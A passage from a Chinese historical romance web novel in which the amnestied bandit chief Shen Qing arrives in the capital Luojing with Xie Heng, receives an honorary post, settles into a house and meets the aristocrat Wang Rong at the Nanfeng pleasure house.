只是原先莽山上那些女匪们,无一例外都选择要跟沈青去洛京,将将统计下来也有几百人众,谢珩亦专门着人妥善安排她们的行程和到洛京后落女户等生活事宜,只等沈青先到洛京,再让这些女子们由官兵护送启程。 一个灰蒙蒙将亮未亮的清晨,一支队伍护送着几辆马车,在冬日薄薄的晨雾中,离开了清乐城。 毕竟是招安,沈青的待遇倒还不错,能带着岳瑛一起乘坐一辆宽大的马车,车厢内一应器物俱全,即便是在行路途中,吃穿用度也不知道比在小金顶上好多少。 只是从莽山到洛京,可真是远啊。 出了渝州,一路向北,走了很多天,直到一路两边的山势越来越平缓,房屋人户越来越密集,直到她背上的伤都好全再也不需要换药,直到树梢上冰雪全部消融,枯枝长出了新的芽苞。 沈青裹着厚厚的氅衣窝在马车里,虽然她的伤好全了,一路也从凛冬走到了初春,可是她自己也能明显感觉到,自己这身子骨,现在越来越畏冷了。每次掀开帘子欢快往外张望时,总是来一阵料峭春风把她又逼回马车。 外伤痊愈,内里的病根却一时无法好全。 中间来了一次葵水,几乎要了她半条命,她只窝在马车里不见人,好在岳瑛能替她尽力遮掩。 葵水只要捱几天,可是一路上,每到了夜里两三更的时候,她那阵阵咳嗽,几乎要将五脏六腑都咳出来,断断续续直到破晓,才能重新安息会儿。 这是先前受伤卧床时没有的情况,伤好了,反倒多出这样一个毛病来。 小金顶上那个老郎中也被沈青带在随行队伍中,每日两次诊脉,跟谢珩汇报的都是被寒凉伤了根本,现在移到肺腑反而是好事,非一朝一夕的调理能恢复。 谢珩只能不断往沈青所乘那辆马车中添置被褥暖炉氅衣等物件。 很快,洛京的巍巍城墙就出现在眼前。 城门处熙熙攘攘都是往来的百姓、商队、官差,处处人声鼎沸,步步守卫森严,与遥远的清乐镇简直是天壤之别。 渝州回程谢珩一路都是乘的马车,眼下是回京面圣,于是在进洛京城这一天,换上了久违的绛红官服,骑了一匹毛色如雪的骏马行于前头,领着一行车马缓缓入城。 城门处原本略显纷扰的人群四下让开,百姓纷纷夹道,探着脑袋想要一睹洛京第一公子的风采。 谢珩离京几月,从渝州剿匪凯旋,关于这位风华绝代的公子是如何完成这剿匪大业,是如何委身使用美人计,引得那凶神恶煞的匪首鬼迷心窍最后拜服招安,早就是洛京城中盛传的艳闻。 公子风华绝代,与这艳闻实在相得益彰。 马车徐徐进城这一会儿,沈青隔着车壁都听了一耳朵。 她忍不住掀开帘子往外看了一眼,外头伸长脖子的人们忽然看到马车里探出这么一个唇红齿白的小公子,纷纷愣了神,自然联想不到这就是那个凶神恶煞的匪首。 只是觉得,这向来风月不近如谪仙般的珩公子,与那悍匪一周旋,竟真成了断袖,豢养起了小公子! 沈青目光不由自主看向前面马背上的身影。 说起来,这还是她第一次见谢珩没有穿他那些雪白得不染纤尘的宽衣大袖,也是第一次见他白马银鞍飒沓模样。 可惜只能看到他的背影,原先只觉他清越如仙,可落在眼中那道背影,却笔挺利落。 是另一种别有风韵的清峻。 沈青不由得幽幽叹了口气:“进了这洛京,我真是有些紧张啊!” 谢珩竟然跟长了一双顺风耳一样,纷乱闲言中听得她这声轻叹,自然而然放慢了速度,骏马与马车车窗平齐。 沈青这下看清他微微侧过来的面容,温雅如玉的容颜在绛红官服的映衬下,多了两分清朗肃然,更有种让人心头一滞的夺目。 正忡怔间,听到他压低声音宽慰:“不必紧张,陛下安排你们先到驿站小住几日,等适应过来,再进宫面圣。” “诶,我倒不是紧张这个,”沈青回过神来,连忙摆手:“我是听说洛京绝色公子多如云,之前还有位公子容色如玉,大家为了看他,竟把那公子生生挤出病来回去就死掉了。我只是还没想好,以后生活在洛京,该怎样去面对这么多绝色公子啊。” 谢珩目光默然从沈青那张一本正经的脸上移开:“你还是多紧张一下面圣的时候要说些什么吧。” “那就不劳刺史大人操心了。” 沈青哼哼放下帘子。 * 在驿馆住了几日,圣上终于召见沈青。 天刚蒙蒙破晓,空气中一夜湿漉漉的寒气还未散去,沈青便由谢珩领着,迈入巍巍宫门。 在乾元宝殿上,她见到了端坐龙椅的孝武帝。 屏气敛息中,沈青还是趁他不注意,偷偷看了一眼龙椅上的君王,那副五官眉眼中,蕴藏着几分只有她了然的熟悉。 孝武帝少年登基,在位十一年,按年龄算,应该也就三十出头,正是盛年。 意料之外,他看上去却似乎要比实际年龄衰老萎靡不少,身体有明显的发福,眼圈发黑,面目浮肿,整个人散发着被强行拖起来上朝的死气虚弱。 那双混沌无神的眼睛,在看到沈青的瞬间,露出一丝精光。 这种毫不掩饰的赤。裸眼神让沈青感到非常不适,但没办法,人家现在是皇帝,总不能冲上去将他眼珠挖出来,她只好半低下头。 关于孝武帝后宫的那些艳闻,在民间不知传了多少,可见沉湎酒色虽然快乐,可是太放纵了也不行,会让人变丑。 她在心中默默提醒自己。 好在孝武帝像是在梦里还没醒,眼中精光只是一闪而过,应付似地迅速潦草完成了这次召见。 朝廷对莽山的招安举措,沈青还算满意。 她手下整合出来的那上万兄弟们,被编入军中,原本渝州不是一个驻军重镇,因为这次招安,成为一个屯兵之地,留在渝州的赖三被封了威远将军,专门来统领莽山的这支队伍。 萧瑞进了禁军,被封了禁军校尉,品阶虽然不高,却实打实的有几分权势,不是四世家的子弟,旁人很难就职于此,看来谢珩为此花了些心力。 左思禄和沈哲,按他们所擅长,一个做了户部主事,一个做了礼部主事。 陛下给他们的,都是些品阶低的官,唯独沈青,孝武帝倒是颇为大方地给她封了个紫金光禄大夫,这名儿听着可气派了,而且还是正三品的官阶呢! 这官儿不仅名头响响当当,还有一个好处就是,这是一个毫无实权的虚职,也就是说,她可以每天顶着这个官号,领着朝廷的俸禄,游手好闲,无所事事。 这简直就是比小金顶还快活的神仙生活! 于是等孝武帝让二人退下的时候,她欣然领了旨谢了恩,退了出去,由内侍引着往宫门外走。 本来她携家小入京,就是来当俘虏的,为的就是要稳住留在渝州那支由莽山兄弟编成的军队。所以当俘虏,她就有当俘虏的觉悟,高官厚禄,吃好喝好不惹祸就行。 美好的神仙生活正在向她招手,简直脚下生风,整个人走得风风火火。 宫道上,来往宫人或者官员,有消息灵通的都知道了这模样俊俏的小公子竟就是悍匪沈青,碍着宫中仪态不好直接打量,但沈青从他们身边经过之时,无人不会为之侧目。 尤其是,她身后不远不近的跟着一个人,是谢珩。 一想到那些莽山剿匪的传闻,人人都恨不得自己眼珠跟转到眼眶外面去。 谢珩官服加身,仪姿雅正,不紧不慢走在宫道上,余光里完全没有半点感受到周遭人的态度,目光浅浅落在不远处的那道青影上。 原本入宫是该穿官服的,但沈青今日才被封官,他就这样一身随 意青衣进了宫,好像即便是在这洛京城中,他的芯儿仍旧是莽山上的一颗翠竹。 一别洛京数月,如今再回看,也无愧于当时离京剿匪时“不破楼兰誓不还”的决心,甚至这结果,比他想象中还要圆满。 毕竟渝州匪患,招安之策远胜于屠戮殆尽。 甚至沈青……他觉得也比原先预想中好太多了,既没有你死我活,也不算反目成仇,他还把人带回了洛京,成了同僚。 人就在眼前,想必再难翻出什么风浪了。 只是他这仪态举止,野性率意,在这京中也太不成规矩了,难免会招人口舌,抓了把柄做文章,谢珩不由得微蹙起眉头,终于在沈青大步一跨,一连跨下三级阶梯跳下去,他终于忍不住喊出声来。 “沈青。” 不轻不重的一声喊得沈青站稳回头,客套一笑:“恭喜刺史大人建功立业,加官进爵啊。” 谢珩剿匪凯旋,为朝廷平息一心腹大患,自然要被孝武帝隆重嘉奖。 赏了一堆金银珠宝是其次,还对谢家十来个跟着谢珩前去渝州剿匪的小辈也各做提拔封赏。 当时在渝州那个被谢珩冒用名号的谢瑜,谢珩回了京,他便顺理成章接替了渝州刺史一职。 洛京的第一世家,果然名不虚传,一人得道,鸡犬升天。 圣上问谢珩回京想做什么官,他倒是不贪功冒进,选了一个跟渝州刺史平级的大理寺卿。 谢珩望着她唇边若有若无的笑意里尽是疏离,心头像淌过一滩凉水般无味。 他们现在,与那些平日里进宫碰上,点头相交的同僚并无区别,没有亲密热络,也没有责怪埋怨。 从刺史府同意接受招安起,沈青对他就是这态度了。 小金顶上的朝夕点滴,仿佛从未存在过。 “听说这几日你买了一间宅子?” 念着他初到洛京,无处落脚,谢珩本来留了好几处风水位置都极佳的地宅想着让他挪进来暂住,没想到他动手倒是快。 沈青睨了他一眼:“刺史大人怎么对我的举动这般了如指掌?不过初来乍到,第一件事不就是要买个舒服喜欢的宅子吗?” “那宅子离这里不近,坐马车过去吧。” 谢珩往宫门边看了一眼,两匹膘肥体壮的高马拖着一辆宽阔马车缓缓走到面前。 沈青摆摆手:“那还是不麻烦刺史大人了吧。” 谢珩盯着她那双始终透着清澈灵动的眸子,那眼神中,除了客套,还是客套。 “你现在已经是朝廷命官,言行举止都要受御史台监督,眼下你刚出宫门,不少眼睛在盯着你,还是坐马车回避吧。”他缓声开口,平静中有种不容置疑的笃定。 沈青苦恼地挠了挠头:“你当时也没说当官这么麻烦啊?” “……你是从匪身招安做了官身,这些日子御史台必定要盯紧你,待过些时日,你能在京中安分度日,他们自然也就会松懈下来。” “原来如此,那多谢刺史大人提醒。” “不必,你是我招安带回洛京的,若你有罪过之处,我也难辞其咎。” 沈青笑了:“我就不信还有人敢参奏你?” 话虽这么说,但她还是抬眼瞥了一下马车檐角印了“谢”字的徽记,没再多想,蹬上马车掀开帘子坐了进去。 这马车可比她从渝州回洛京时那马车还要舒适华丽得多,是她从前在渝州连见都没见过的奢华。 不坐白不坐。 谢珩也躬身坐了进来,马车宽敞,两人隔得远,一路也无话。 马车渐渐远离宫门,穿行于闹市中。 热热闹闹的街市,因为谢家马车的穿行,看起来杂乱无序的行人在这时候都十分默契整齐地让开一条路,伸长了脖子,哪怕只是看一眼谢珩乘坐的马车,也很心满意足了。 有大着胆子挤过来的小姑娘,在马车经过的时候,将手中盛满鲜果的竹篮高高举过头顶。 沈青眼疾手快,趁机将手伸出帘子,抓了一只木瓜回来,然后低头“咔嚓”咬出一声脆响。 “这人长得俊,命就是比旁人好,不仅能用美人计顺利剿匪,就连坐个马车,都有人眼巴巴送吃的。”她嚼得腮帮鼓鼓,忍不住啧啧感叹。 谢珩敏锐地听他说“用美人计顺利剿匪”,却捕捉不到一丝阴阳怪气的口吻,好歹在渝州大牢的时候他还会拿这个来呛他,现在再起,语气稀疏平常得像在说别人的事情。 他面上没有什么波澜,只是端坐一方,直到马车停下,才跟着蹦蹦跳跳下了马车的沈青下车。 “好了,这就是我在洛京安的家了,多谢刺史大人送我回来,您慢走。” 沈青打过招呼要走,被谢珩出声叫住。 “等等。” 谢珩抬眼打量眼前这座临街宅院,门庭不算大,该有的朱门瓦墙飞檐门柱都不少,门前檐下已经正正方方挂上了“沈府”的牌匾。 他打听过,这原来是一座官宅,后来这宅子主人几经变迁,最后落到一个富商手中后始终不肯再转手,没想到沈青竟然买到了。 “据说这宅子的主人多年来一直不肯转卖,你是怎么买到手的?” “这就叫鼠有鼠道,猫有猫路,你们搞不定的事,那可不代表我搞不定。” 看着沈青一脸无畏的样子,谢珩不由得语气急切了几分:“这里是洛京,你现在是官身,不再是莽山上的土匪了,不要再把一些不该用的手段拿出来,行差踏错是要掉脑袋的!你知不知道,这宅子最开始的主人,是反贼沈毅?” 说到最后那个名字,他放低了声音,不确定沈青是否对那件久远的事件有过一二耳闻。 沈青眉头微不可察地蹙了蹙,然后轻飘飘“哟”了一声:“你连这个都打听清楚了?看来大理寺卿这活儿是挺适合你的。我就是看这宅子最初的主人也姓沈,跟我是本家,我觉得亲切。再说了,那反贼被诛后,这宅子就充公易主了好几人,这有什么影响。” 见谢珩还欲开口,她可不耐烦听下去,忙滔滔不绝截住他的话头:“我说刺史大人,您回京后这么闲的吗?连我新买的宅子前好几代的主人家都被你打听清楚了,您有这精力,多办些案子,多为百姓做些事实,才不枉您君子清正的名声。” 谢珩一张俊脸沉了下来:“沈青,我是在提醒你……” “好的,知道了,多谢刺史大人提醒,”沈青可不想听他说教:“我保证以后安分守己,绝对不连累刺史大人!” 谢珩被她噎得无话。 沈青见他不再说话,便指了指身后的宅门:“夫人今晚烧了好酒好菜在等我,就不招待刺史大人了。” 然后头也不回进了大门。 直到大门斩钉截铁地从里面被合上,谢珩还笔挺地立在原地未动,身后宽大马车挡住他的身形,两只马儿还在闲适地甩着尾巴。 他抬眼看并不算高的院墙,一颗青翠的苦柚树发出嫩芽,枝叶交错,横生出院墙来。 洛京城里没有高门大户会种这样无用的树,在这寻常宅院里,反倒生出一点平淡的温馨来。 看来他和岳瑛的举案齐眉,从小金顶的山寨里,来到洛京城中宅院里,也算是不离不弃了。 早春的风还很料峭,从苦柚树的枝芽上掠过,吹向院墙下公子清隽无双的眉眼。 吹散一场大梦。 第39章 第39章阿……珩? 沈宅里的确准备了好酒好菜。 日暮的时候,萧瑞几个陆陆续续赶了过来,他们几个授官比沈青早一些,这会儿各自从衙署或营队中赶来。 四四方方的小院里,还没来得及添置太多东西,只有院墙边有一架光秃秃的葡萄藤还未抽芽,然后是一方水井,再就是这株青青翠翠的苦柚树了。 苦柚树下架了炉子,添上火把,几人围坐在炉边,就像原先在莽山时打了猎物就地生火烤肉那样,切了大块的肉 架在火把上烤得滋啦流油,香气四溢。 几杯酒下肚,每个人都有些感慨万千。 左思禄属于故地重游了:“原先是在洛京没了活路才要回乡,没想到兜兜转转最后还是回了洛京,我们家世代布衣,我一介商贾,竟然还能在洛京封上一个有品阶的官,也不知我们家祖坟冒了多少青烟。” 沈哲虽然是第一次来洛京,他的感悟之深也并不比左思禄少:“那谁能想到,要不是碰到我们老大,我这会儿可能已经被斩首示众了。我这忽然就来了洛京,忽然还做起了京官?老大,我这不是在做黄粱梦吧?你可千万别让我醒了。” 虽然两人封的都是从九品的小官,但这种有品阶的官身,若不是遇到沈青,这辈子都不会有指望的。言谈之间,也说不上多高兴,只是由衷地感叹这世事之荒谬无常。 沈青依旧是一派地无畏和不屑,说出了他们言外不敢说的话:“我不是说你们能力不行啊,只是回乡避祸的商人,关在牢房中的犯人,都能摇身一变成了京官,说明谁敢豁出命来闹事,谁就有官做。” 萧瑞一直就不服气招安这件事,一听她这话简直说到心坎上去了:“就是,要不是大哥你同意了招安,这些个烂官,我还不稀罕做呢,非得给他们卖命,哪里有咱们当山大王痛快。” 左思禄和沈哲不由得沉默,赶紧象征性抿了几口酒,看得出来,他们原先毕竟是走投无路才投了莽山,若是还有其他选择,好好的正常人谁愿意去当土匪呢? 沈青忽然意识到,萧瑞在莽山生活得太久了,一点洛京的习气都没有沾染,也不知道是好还是坏。 她虽然也有点儿酒意上头,脑子还是清醒着,她手上正好有双竹筷,就顺势敲了敲萧瑞脑袋:“我今天把你们喊过来,就是要叮嘱几句,洛京不比莽山,你们现在是官身,把原来的土匪气都收一收,谨言慎行些。你要实在看不惯那些烂官,就做个好官呗。” 萧瑞摸着脑袋难以置信,还谨言慎行?天天夹着尾巴做人也太憋屈了吧? “大哥,你不会被那谢珩唬得鬼迷心窍了吧?咱们在这烂屋子里,还能做好官?” 沈青又用筷子狠狠敲了他脑袋:“那你把这烂屋子拆了,重新建一个!” 萧瑞被她敲得抱头逃窜:“反正我不管,这洛京城里要是实在待不下去,咱们就重新回莽山,攻城的时候我们都有还几万人马了,谁怕谁?” “行行行,”言尽于此,沈青没有继续说下去,抬手举杯:“继续喝酒!但是谁失了本心,我可不管你官身不官身,照样宰了。” 在场的每个人都忍不住缩了缩脖子,刚刚谁说要他们收一收土匪气来着? 一场酒热热闹闹喝了大半宿,猜拳罚酒简直把人嗓子都喊哑,整个院子里醉醉呼呼没有特别清醒的人,这倒是跟小金顶上的生活别无二致了。 沈青照常是要发酒疯的。 这次她总算没有祸害别人,大概是院子里这棵苦柚树有些突兀,她最后就抱着那树干死不撒手,还一边嗷嗷:“你怎么长这么高了?你还活着我很欣慰!可是你长这么快,我也老了……” 最后还是到了下半宿岳瑛实在看不下去,怕沈青这身子骨夜寒受凉,给她裹了毯子拖着她回房睡觉了。 第二天醒来,捱过了短暂地宿醉头疼,沈青裹了绒毯望着院子出神。 昨晚还是闹闹腾腾的,这会儿清清静静得连一片叶子落在地上她都听得见。 左思禄和沈哲在洛京中寻了住处,萧瑞如今在营中,大概十天半月都回不了一次家,沈宅里,就只剩她和岳瑛了。 这让人不禁想起原先在莽山,兄弟们成群结队的日子,显得眼前这日子也太寂寥冷清了! 不过她自然也闲不住,洛京繁盛,她好久没见识了。 短短几天,她几乎是早出晚归,比公干的官员还要繁忙上许多,几乎看遍洛京风貌,品过各色风味,这日子生生给她过出了如鱼得水的快活。 与渝州的萧条风貌不同,洛京到底是皇城,还能继续粉饰着太平盛世。 本来她是想带上岳瑛一起的,但是岳瑛回到洛京,到底是有些近乡情怯,不愿意出门触景生情。 不过沈青也知道,岳瑛多少还是受累于所谓“罪臣之女”“压寨夫人”这样的名声,害怕遇见旧友耻笑,所以也没勉强她。 她就这样一个人在洛京城里兜兜转转玩了小半个月,最大的发现就是,洛京不愧是京都,俊俏的公子可真多啊! 走在大街上,几乎人人都是宽衣大袖,衣袂翩跹,一个个风流倜傥,玉树临风,实在看得人应接不暇。 甚至风格也环肥燕瘦,有清秀的,有文弱的,有周正的,有矫健的,应有尽有,确实是乱花渐欲迷人眼,比渝州那样穷乡僻壤里的歪瓜裂枣们养眼多了。 可是看着看着,沈青也很快意识到,这满城公子哥虽然养眼,可是终究没有让她遇见那种让她直呼惊为天人的存在。 也就是说……还没有一个比谢珩更出挑的存在。 不过想想也是,豪门世家真正的贵公子都是很矜贵的,谁天天招摇过市引人注目呢?在大街上肯定碰不到! 她在路边随手抓了几个人打听,终于找了个好地方。 离皇城不远的城坊,有东西两市,两市间最繁华的街道上,坐落一间高楼。 这高楼比旁边所有房屋楼宅都要高出许多,只要出了两市,站在任何街角,抬眼一看,都能看到那高楼扬起的檐角。 听说这里白天彩旗招展,夜晚彻夜笙歌,是真正醉生梦死的富贵乡。 沈青仰头看那高楼上的占了足足一整层屋檐高的牌匾,彩漆描边,写了“南风楼”三个字。 这是洛京城里达官显贵的销金窟,她也只好入乡随俗了。 她迈步跨进门槛,一阵香风铺天盖地迎面而来,简直要把她熏晕过去,好在有人及时扶助她手臂,她回头一看,对上一张年纪已经不轻,但依旧存了几分风韵笑意盈盈的面容。 满头珠翠的妇人只挑眼打量了一下她,便将客人品味摸个七七八八:“这位公子是位生客,想听曲还是对诗,要饮些酒呢,还是品茶?” 沈青略有些迷茫地四下望了望:“那先听曲吧,喝茶就行。” 鸨母又继续引导她:“那公子是喜欢才子,还是喜欢佳人呢?我们才子佳人各有唱曲,各有风味呢。” 沈青反应过来,这南风馆的乐子,不仅有妓子,还有小倌,这妇人眼神厉害,一下就看出她是来找小倌的呢。 于是她也放开了熟络起来:“那就劳烦替我挑几个唱曲好听的俊俏公子吧。” 最后连她自己都不知道是哪学来的套路,从袖里摸出一只小金元宝,笑意轻浮地放在妇人手中,乐得妇人丝绢一挑,颇有些轻佻地拂过她鼻尖,留下一阵余香。 她便坐进了上宾的雅座间。 雅座到底不是房间,虽有轻纱帷幔遮挡,可是旁的情景还是能若隐若现,好像在这雅座的人真的就是做些听琴品茗的雅事。 若是别的什么兴致来了,拥入闺房,那又是另外的场子,另外的银子了。 可真会赚钱,难怪是个销金窟。 还好她这三品虚位给的俸禄多。 不得不说,雅间到底是雅间,这熏香都雅了很多,整个人靠在软榻上,连骨头都松软下来。 案上的茗茶温烫刚刚好,没有等两口茶的片刻,就来了四位公子一一进来见礼。 见到来人,沈青微挑了一下眉头,心中不免赞叹那鸨母会做生意,不因她是生客而随便找几个来糊弄她,反倒是红花绿叶,主次分明,挑得各有风韵。 中间那个 最为出挑,白衣胜雪,玉冠束发,怀中捧着一只乌木琴,好一个翩翩佳公子。 沈青一眼看中:“你叫什么名字?” 那人抱琴款款答:“小生苏子珩,公子可唤我作阿珩。” “阿……珩?” 沈青张了张嘴,两个字格外烫嘴地从她口中过了一遍,怪不得看这人眼熟得很,再看他这周身打扮她终于恍然。 不愧是洛京第一公子啊,连南风楼的小倌都要竞相模仿其几分风韵来。 她又瞥了眼苏子珩怀中的乌木琴:“那就弹支曲子听听吧。” 几人依言拂衣坐下,苏子珩一人抚琴,其他人以管萧伴之,声声丝竹缠绕耳畔。 沈青支着脑袋听得出神,目光始终落在苏子珩的一袭白衣上,眼神中多了一丝黯淡。 真是没想到,旁人只需学他个三分形貌,便可如此出挑。 可惜她是见过本尊的人,衣裳配饰的风格确实如出一辙,可惜举手投足间的风度气质,一旦有了对比,便相形见绌了。 就说这琴音,听起来也是悦耳舒心,可比起她在小金顶上听过的乌尾,只能说是仙乐与凡曲之别了。 一声轻叹。 原本流畅的琴声忽然错了一个音,然后渐渐止息下来。 苏子珩微白着一张脸,弯身告罪:“是子珩琴艺不佳,污了公子尊耳。” 低眉颔首,七分惶恐三分委屈,拿捏得恰到好处。 “啊,没有没有,你弹得很好听!” 沈青也不知道自己怎么听琴听着忽然叹息了起来,连连摆手,让美人委屈实在是大罪过,忙一拍大腿,无比阔绰地从怀里摸出一颗金灿灿的元宝。 得了元宝,苏子珩终于勾唇一笑,声音更加酥软:“承蒙公子厚爱,那不妨……” “公子,我家公子请您到隔间一叙。” 他话还未落,被帘外一道声音打断。 沈青抬手掀开帘幕,帘外果然侯了个眉清目秀的年轻小仆。 “找我吗?今日我有佳人相伴,就不奉陪了。” 她单纯就是来找乐子的,才懒得跟乱七八糟的人牵扯。 小仆却恭敬又执着:“公子说相逢是缘,已经备下佳酿,请您赏脸。” 这便有些扫人兴致了。 顺着小仆的指引,沈青冷冷瞥去,看到不远处另一间包房里,隔着轻纱重帘,影影绰绰是一个男子的英挺侧颜。 她目中冷锐顿时烟消云散,既是俊美公子相邀,岂有不去之理? 于是沈青喜笑颜开应邀去了旁边的包间,一掀开帘幕,果然见里面坐了个俊雅富贵的年轻公子,正自斟自酌,见到来人,一双桃花眼似会说话,流露出几分倜傥笑意。 沈青只觉眼前豁然亮了一下。 这人身穿天青月白的锦袍,头束白玉冠,一把折扇轻拢在掌中,笑意盎然:“实不相瞒,见公子进门起,气度潇洒,实在令人折服,苦于没有理由,不敢唐突打搅。不过方才察觉到你似乎是在寻人,我倒是有一二思路,冒昧请君过来小酌一杯。” 末了,他又补充道:“鄙人王容,不知是否有幸与公子攀交一场?” 原来是四世家的王家。难怪不仅笑起来如沐春风,这说起话来也如杏花春雨,沈青也颇有耐心地应付他:“寻人?我在寻什么人?” 王容缓缓展开掌中折扇,露出龙飞凤舞的几个大字,需要略一辨别一番,才看得出那上头写的是“酒色财气”。 只听他折扇轻摇:“汉皇重色思倾国,御宇多年求不得。” 这话一出,沈青恨不得立刻将他引以为知己:“王容是吗?你这个兄弟我认了!” 说着她已经给两人各自满上一杯酒,仰头就将自己那杯喝了个干净。 见她不仅如此迅速就听懂自己弦外之音,还这么豪爽亮了杯底,那双桃花眼底笑意更浓:“那说好了,我们以后就是好兄弟了。” 只不过“兄弟”二字,他说得轻飘飘的,可没有莽山上弟兄们拜把子时那样气势浩然。 洛京城的男子果然还是太文秀了些。 “那你说说有什么思路啊?” “这南风馆里,虽然也有些赏心悦目的,可终归只是风尘中的庸脂俗粉,只能偶尔赏玩一二。既然我们刚刚喝了酒,是兄弟了,明日你再来这里,我们以琴会友怎么样?” “……你们洛京人非要这么雅致吗?”沈青本来嫌麻烦,但是见他目中星星点点,甚是好看,想到真正世家子弟到底还是品质会更好,便应了下来:“行,独乐乐不如众乐乐!” 两人又相见恨晚痛饮两杯,趁自己还清醒着,沈青摇摇晃晃起身告别。 王容终于按捺不住心中诧异:“不过……你一点都不疑心我是骗人的?” 骗人?骗财还是骗色?这有啥好怕的。 她无所谓地摆摆手,一摇一晃转角下了楼梯,直到隐没于窗下的人群中,王容才意犹未尽收回目光。 果然有意思。 身边的小仆也看了半天,不知自家公子怎么对男人感兴趣了,还是尽职尽责道:“公子都这么坦诚了,这人也不知道报个姓名家世上来,也太不识相了!既然这人入了公子的眼,要不要我去打探一番?” 王容气定神闲摇着他的折扇,唇畔始终挂着一抹压抑不住的笑意:“打探出来的有什么意思,让鱼儿一点一点上钩才有意思。” 放眼洛京,他还从未见过这般女子。 第40章 第40章我孩子的父亲肯定不会是…… 沈青晃悠着回到沈宅的时候,天色已暮,岳瑛正在等她,院落灯火可亲。 不过她一回来就听说谢珩派人来府上找过她,还没来得及咽下去的醒酒汤险些喷出,脑子瞬间清醒过来。 “他派人找我干嘛?” 苍天可鉴,这些天她可没招惹过他啊! 岳瑛摆出一只木匣,里面整整齐齐摆放了十只细口白瓷小瓶:“谢府给你送的玉露枇杷雪梨膏,算着你上一批应该都喝完了。” 大病初愈那阵,沈青那整夜整夜的咳嗽,直到回京谢珩往她府上送了各类良药补品,包括这玉露枇杷雪梨膏,她的咳症才渐渐止息。 枇杷和雪梨都不属冬春时节,这时候能弄到这样好东西的,也只有谢家了。 哼,不过这本来就是他该赔给她的! “这个好喝,又可以再喝十天了。”沈青理所当然收下。 岳瑛又提醒她:“除了送东西,珩公子还让人传话,说洛京不比莽山,让你安分守己些。” 又来…… 沈青嗤之以鼻:“我最近可实在太安分守己了。” 她都准备去参加以琴会友这种风雅之事了,还要怎么样才算安分守己呢? 岳瑛看了眼她满脸无畏的神色,忍不住凑过去问道:“我怎么感觉……你最近在避着珩公子?” 沈青心底事被岳瑛就这样戳破,她倒也没避讳,肩背耷拉下来,自己也稀里糊涂:“一开始知道自己被骗后,我真是气炸了,恨不得马上宰了他。后来招安了,又觉得没什么好生气的。可是现在真正让我面对他,跟他说话,我心里还是膈应得慌。” 她心里不是不知道,当朝廷彻底不能容于她时,谢珩虽然一直在骗她,可是这次确确实实是他替她保下了整个莽山的周全。 况且本来也是她先将人家掳上山的。 好像是不该生气的。 但她也自觉她对谢珩也不赖啊,好吃好喝供着他哄着他,捧在手心怕摔了,含在口里怕化了,两个人朝夕相处那么些日子,总有一点儿情分吧? 这些天她总时不时想起在小金顶上,谢十三冲着她无奈又温和的笑意,她刚想会心一笑,马上就又想到那样好看的笑容背后都是欺骗,脑海中再俊的 一张脸,也立刻面目可憎起来。 岳瑛在一旁忽然笑出声来:“我好像还是第一次看见你这般模样。” “什么模样?” “一双眉毛都拧成愁肠百结的样子了,特别有意思!” “真的啊?”沈青忙抬起两只手去抚自己的眉毛:“你故意笑我的!?” 岳瑛咯吱笑得停不下来,沈青闷闷愤愤不搭理她,自己突然想明白了。 “我知道了!我就是好好养了一只小猫小狗,结果小猫小狗咬了我一口跑掉了,也不至于深仇大恨,但以后也不想养了。” “现在入了洛京,反正我跟谢珩最好的关系,就是没有关系。” 岳瑛止住笑声,心想好歹算是养了一只仙鹤吧。 其实她很能理解沈青的感受,作为一个局外人,她更能看清身在局中的谢珩,一定是有过动容和真情的。 可是那几分动容和真情,始终是建立在欺骗之上,真是可惜。 她又问起正事:“那生孩子的事情怎么办呢?” “我孩子的父亲肯定不会是他了啊!” “啊!?难道还有比他更好的人选?” 说到这个,沈青可真是痛心疾首:“我是得给孩子选一个相貌好家世好的爹,但绝不能是谢珩这样位高权重的人,他现在还这么年轻就已经是谢家举足轻重的人物了,将来封侯拜相……不行,太麻烦了。” 诶,如果只是一个空有家世外貌的花架子,那可多好! 遗憾归遗憾,她还是对未来充满希望:“不过到了这世家如云的洛京,想要再找一个我心目中的合适人选,可太容易了!” 岳瑛在一边默默无言,不忍心扫她的兴。 恐怕不会如她所愿。 * 第二日时辰一到,沈青便满怀期待兴高采烈去南风楼赴约了。 王容果然在南风馆包了一间更大的雅间,席间点的是沈青最爱的苏子珩弹琴助兴,见沈青依约而来,满眼笑意倜傥,亲自拉着她坐在自己身边:“我昨日与这位公子一见如故,从今起她便是我王容的朋友,诸位请多关照。” 他说话有种慢条斯理的惫懒,沈青向来不喜欢这种拖泥带水的腔调,不过大概是他长得好看,这暖糯语调配着丝竹之音,倒是有几分富贵闲人的气象,并不让人讨厌。 不过他带来的那些世家公子嘛……就有点一言难尽了,一个个虽然衣冠楚楚的,但长得……放眼席间望去,沈青很合理地怀疑,王容今日组的这一桌人,其实就是想故意衬托他自己的鹤立鸡群吧? 当然,那些个世家公子们,看沈青的眼神……也很复杂。 谁也没见过南风楼来过这样一号人物,在一众绫罗绸缎玉冠锦带中,沈青这一身青色窄袖束腰的布衣,多少显得寒酸了些。 既然是王容的座上宾,有人客客气气敬酒,问了句:“不知这位兄台贵姓?怎么称呼?” 沈青尽量让自己说话听起来有素养:“鄙人免贵姓沈。” 噢——众人都松了口气,沈氏在洛京中排不上什么号,再看她这一副细皮嫩肉的模样,投来的眼神有鄙夷的,有垂涎的,还有在她和王容之间来来回回暧昧不明的。 沈青没管那么多,既然这一桌没什么让她看得上的人物,那就该喝酒喝酒,该吃肉吃肉。 她觉得,这样的宴席,其实跟她在莽山上和兄弟们喝酒吃肉也差不多,无非就是包间更雅致一些,酒菜更精致一些,吃饭的时候,没人吧唧着嘴嚼得震天响,诶,顿时感觉这酒肉都没那么香了。 吃着吃着,她发现身边的这个王容好像还不错,她往哪个盘子里多夹了两筷子,那盘子就停在她面前不动了。 她故意又试着往另一个盘子里夹了两筷子,明明身边这人正摇着折扇跟人谈笑,那盘子又正正好好停在她面前。 真不错!等吃完回去她就去好好打听一下这个人! 最后吃到整张桌子上只剩她一个人还拿了筷子的时候,她咽了咽口水,终于装模作样把筷子搁下。 直到有人让苏子珩停止弹奏,取了他手中的乌木琴,沈青靠在椅子上放松坐好,传说中的“以琴会友”可算是进入正题。 “诸位,这是我最近在家闭关七七四十九天苦悟出来的一首新曲,给各位赏听一番,献丑了!” “卢兄,闻君一曲,如听仙乐,某此生死而无憾了!” “我这还有一曲,这是我梦中有仙人托梦所得!” “大家听听我这曲,这是我遍游名山大川,于峨眉之巅,遇仙人从月中驾鹤而来,将此天籁传授于我!” 